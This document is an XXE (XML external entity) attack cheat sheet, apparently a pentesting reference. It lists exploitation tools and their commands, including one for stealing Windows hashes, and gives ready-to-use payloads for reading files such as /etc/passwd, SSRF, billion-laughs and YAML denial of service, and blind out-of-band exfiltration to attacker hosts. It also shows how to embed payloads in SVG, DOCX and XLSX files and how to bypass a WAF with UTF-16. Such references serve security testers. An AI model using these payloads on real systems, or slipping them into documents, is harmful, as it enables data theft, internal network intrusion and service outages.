XML External Entity

> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

Internal Entity: If an entity is declared within a DTD it is called as internal entity.
Syntax: `<!ENTITY entity_name "entity_value">`

External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by `SYSTEM`.
Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`

Summary

Tools

- xxeftp - A mini webserver with FTP support for XXE payloads

```
sudo ./xxeftp -uno 443
./xxeftp -w -wps 5555
```

- 230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via http://xxe.sh/

```
$ python3 230.py 2121
```

- XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods

```
# Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
# Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --
oob=gopher
# Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt -
-2ndfile=/tmp/2ndreq.txt
# Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --
file=/tmp/req.txt --oob=http --netdoc
# Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
# Enumerating unfiltered ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
# Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
# Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --
upload=/tmp/uploadfile.pdf
# Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --
phpfilter --expect=ls
# Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
# Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
```

- oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)

```
ruby server.rb
```

- docem - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc

```
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt
-pt per_document -kt -sx docx
./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf
payloads/xxe_special_2.txt -kt -pt per_place
./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm
```

```
per_place
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt
-pt per_file -kt -sx docx
```

- otori - Toolbox intended to allow useful exploitation of XXE vulnerabilities.

```
python ./otori.py --clone --module "G-XXE-Basic" --singleuri
"file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE"
"DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --
noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs
```

Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file `/etc/passwd`

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>
```

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

:warning: `SYSTEM` and `PUBLIC` are almost synonym.


```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```


Classic XXE Base64 encoded

```
<!DOCTYPE test [ <!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

PHP Wrapper inside XXE

```
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-
encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
```

XInclude attacks

When you can't modify the **DOCTYPE** element use the **XInclude** to target

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Exploiting XXE to perform SSRF attacks

XXE can be combined with the SSRF vulnerability to target another service on the network.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```

Exploiting XXE to perform a deny of service

:warning: : These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

Yaml attack

```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

Error Based XXE

Payload to trigger the XXE

```
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>
```

Contents of ext.dtd

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

```
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM
"http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>
```

Send the content of `/etc/passwd` to "www.malicious.com", you may receive only the first line.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```

XXE OOB Attack (Yunusov, 2013)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```

XXE OOB with DTD and PHP filter

```
<?xml version="1.0" ?>
<!DOCTYPE r [
```

```
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
```

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

- Apache Karaf <= 4.2.1
- Apache Karaf <= 4.1.6

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM
"http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0
http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
```

Send the XML file to the `deploy` folder.

Ref. brianwrf/CVE-2018-11788

XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

```
<!DOCTYPE root [<!ENTITY test SYSTEM
'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]>
<root>&test;</root>
```

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

```
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">

    %local_dtd;
]>
<root></root>
```

Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

```
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>
```

Other payloads using different DTDs

Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents

From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79

Disclose local file

```
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file://t/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>cacat</xxx>
```

Disclose HTTP Response:

```
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "https://erp.company.com">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file://test/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
```

```
    >
    %local_dtd;
  ]><xxx>cacat</xxx>
```

XXE in exotic files

XXE inside SVG

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
```

Classic

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

OOB via SVG rasterization

xxe.svg

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg"
style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200"
style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>
```

xxe.xml

```
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
```

XXE inside SOAP

```
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]>
<xxx/>]]>
  </foo>
</soap:Body>
```

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

- /_rels/.rels
- [Content_Types].xml
- Default Main Document Part
  - /word/document.xml
  - /ppt/presentation.xml
  - /xl/workbook.xml

Then update the file `zip -u xxe.docx [Content_Types].xml`

Tool : https://github.com/BuffaloWill/oxml_xxe

```
DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)
```

XXE inside XLSX file

Structure of the XLSX:

```
$ 7z l xxe.xlsx
[...]
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00 .....          578          223  _rels/.rels
2021-10-17 15:19:00 .....          887          508  xl/workbook.xml
2021-10-17 15:19:00 .....         4451          643  xl/styles.xml
2021-10-17 15:19:00 .....         2042          899  xl/worksheets/sheet1.xml
2021-10-17 15:19:00 .....          549          210  xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 .....          201          160  xl/sharedStrings.xml
2021-10-17 15:19:00 .....          731          352  docProps/core.xml
```

```
2021-10-17 15:19:00 .....          410          246  docProps/app.xml
2021-10-17 15:19:00 .....         1367          345  [Content_Types].xml
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00              11216         3586  9 files
```

Extract Excel file: `7z x -oXXE xxe.xlsx`

Rebuild Excel file:

```
$ cd XXE
$ 7z u ../xxe.xlsx *
```

Add your blind XXE payload inside `xl/workbook.xml`.

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM
"http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
```

Alternativly, add your payload in `xl/sharedStrings.xml`:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM
"http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10"
uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si>
<si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t>
</si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```

Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.

`xxe.dtd`

```
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
```

Serve DTD and receive FTP payload using xxeserv:

```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
```

XXE inside DTD file

Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file. In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM. When all you control is the DTD file, and you do not control the `xml` file, XXE may still be possible with this payload.

```
<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the
URL -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-
host.com/x=%payload;">'>
%param1;
%external;
```

XXE WAF Bypass via convert character encoding

In XXE WAFs, DTD Prolog are usually blacklisted BUT not all WAFs blacklist the UTF-16 character encoding

`All XML processors must accept the UTF-8 and UTF-16 encodings of Unicode` -- https://www.w3.org/XML/xml-V10-4e-errata#E11

we can convert the character encoding to `UTF-16` using iconv to bypass the XXE WAF:-

```
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
```

References

- XML External Entity (XXE) Processing - OWASP
- Detecting and exploiting XXE in SAML Interfaces - 6. Nov. 2014 - Von Christian Mainka
- [Gist] staaldraad - XXE payloads
- [Gist] mgeeky - XML attacks
- Exploiting xxe in file upload functionality - BLACKHAT WEBCAST - 11/19/15 - Will Vandevanter - *@will_is*
- XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)
- From blind XXE to root-level file read access - December 12, 2018 by Pieter Hiele
- How we got read access on Google's production servers April 11, 2014 by detectify
- Blind OOB XXE At UBER 26+ Domains Hacked August 05, 2016 by Raghav Bisht
- OOB XXE through SAML by Sean Melia @seanmeals
- XXE in Uber to read local files 01/2017
- XXE inside SVG JUNE 22, 2016 by YEO QUAN YANG
- Pentest XXE - @phonexicum
- Exploiting XXE with local DTD files - 12/12/2018 - Arseniy Sharoglazov
- Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd
- Automating local DTD discovery for XXE exploitation - July 16 2019 by Philippe Arteau
- EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN
- excel-reader-xlsx #10
- Midnight Sun CTF 2019 Quals - Rubenscube
- SynAck - A Deep Dive into XXE Injection - 22 July 2019 - Trenton Gordon
- Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK